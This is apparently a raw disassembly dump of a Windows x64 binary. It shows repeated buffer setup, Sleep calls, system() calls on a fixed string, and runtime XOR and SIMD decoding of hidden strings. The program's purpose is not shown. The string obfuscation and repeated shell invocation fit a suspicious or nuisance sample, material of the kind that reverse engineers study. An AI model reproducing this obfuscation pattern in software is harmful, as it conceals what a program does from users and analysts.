lea rcx, [rbp + 0x2698]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x26b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x26d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x26f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2718]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2738]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2758]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2778]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2798]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x27b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x27d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x27f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2818]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2838]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2858]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2878]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2898]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x28b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x28d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x28f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2918]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2938]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2958]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2978]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2998]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x29b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x29d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x29f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2a18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2a38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2a58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2a78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2a98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2ab8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2ad8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2af8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2b18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2b38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2b58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2b78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2b98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2bb8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2bd8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2bf8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2c18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2c38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2c58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2c78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2c98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2cb8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2cd8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2cf8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2d18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2d38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2d58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2d78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2d98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2db8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2dd8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2df8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2e18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2e38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2e58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2e78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2e98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2eb8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2ed8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2ef8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2f18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2f38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2f58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2f78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2f98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2fb8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2fd8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x2ff8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3018]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3038]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3058]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3078]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3098]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x30b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x30d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x30f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3118]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3138]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3158]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3178]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3198]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x31b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x31d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x31f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3218]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3238]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3258]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3278]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3298]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x32b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x32d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x32f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3318]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3338]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3358]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3378]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3398]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x33b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x33d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x33f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3418]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3438]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3458]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3478]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3498]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x34b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x34d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x34f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3518]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3538]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3558]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3578]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3598]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x35b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x35d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x35f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3618]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3638]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3658]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3678]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3698]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x36b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x36d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x36f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3718]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3738]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3758]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3778]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3798]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x37b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x37d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x37f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3818]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3838]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3858]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3878]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3898]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x38b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x38d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x38f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3918]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3938]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3958]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3978]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3998]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x39b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x39d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x39f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3a18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3a38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3a58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3a78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3a98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3ab8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3ad8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3af8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3b18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3b38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3b58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3b78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3b98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3bb8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3bd8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3bf8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3c18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3c38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3c58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3c78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3c98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3cb8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3cd8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3cf8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3d18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3d38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3d58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3d78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3d98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3db8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3dd8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3df8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3e18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3e38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3e58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3e78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3e98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3eb8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3ed8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3ef8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3f18]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3f38]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3f58]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3f78]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3f98]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3fb8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3fd8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x3ff8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4018]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4038]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4058]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4078]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4098]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x40b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x40d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x40f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4118]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4138]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4158]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4178]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4198]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x41b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x41d8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x41f8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4218]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4238]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4258]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4278]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x4298]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x42b8]
call fcn.140017970
nop
lea rdx, str.message
lea rcx, [rbp + 0x42d8]
call fcn.140017970
nop
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x72], 0
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x72]
call fcn.140015e80
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14000d5c0
cmp r12d, 2
jl 0x14000d584
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x14000d5c0
mov r9, rcx
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000d590
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x73], 0
lea rdx, [rbp + 0xd8]
lea rcx, [rsp + 0x73]
call fcn.140015e90
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14000d60d
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor cl, 0x3b
mov byte [rax + 9], cl
mov rcx, rax
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x74], 0
lea rdx, [rbp + 0xf8]
lea rcx, [rsp + 0x74]
call fcn.140015eb0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000d678
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor byte [rax + 8], 0x3a
xor byte [rax + 9], 0x3b
xor cl, 0x3c
mov byte [rax + 0xa], cl
mov rcx, rax
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x75], 0
lea rdx, [rbp + 0x128]
lea rcx, [rsp + 0x75]
call fcn.140015ee0
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x14000d810
mov r8d, ebx
cmp r12d, 2
jl 0x14000d7cb
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14000d7e0
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x76], 0
lea rdx, [rbp + 0x148]
lea rcx, [rsp + 0x76]
call fcn.140015f00
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000d9a0
mov r8d, ebx
cmp r12d, 2
jl 0x14000d963
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000d970
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x77], 0
lea rdx, [rbp + 0x1f8]
lea rcx, [rsp + 0x77]
call fcn.140015f30
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000db30
mov r8d, ebx
cmp r12d, 2
jl 0x14000daf3
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000db00
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
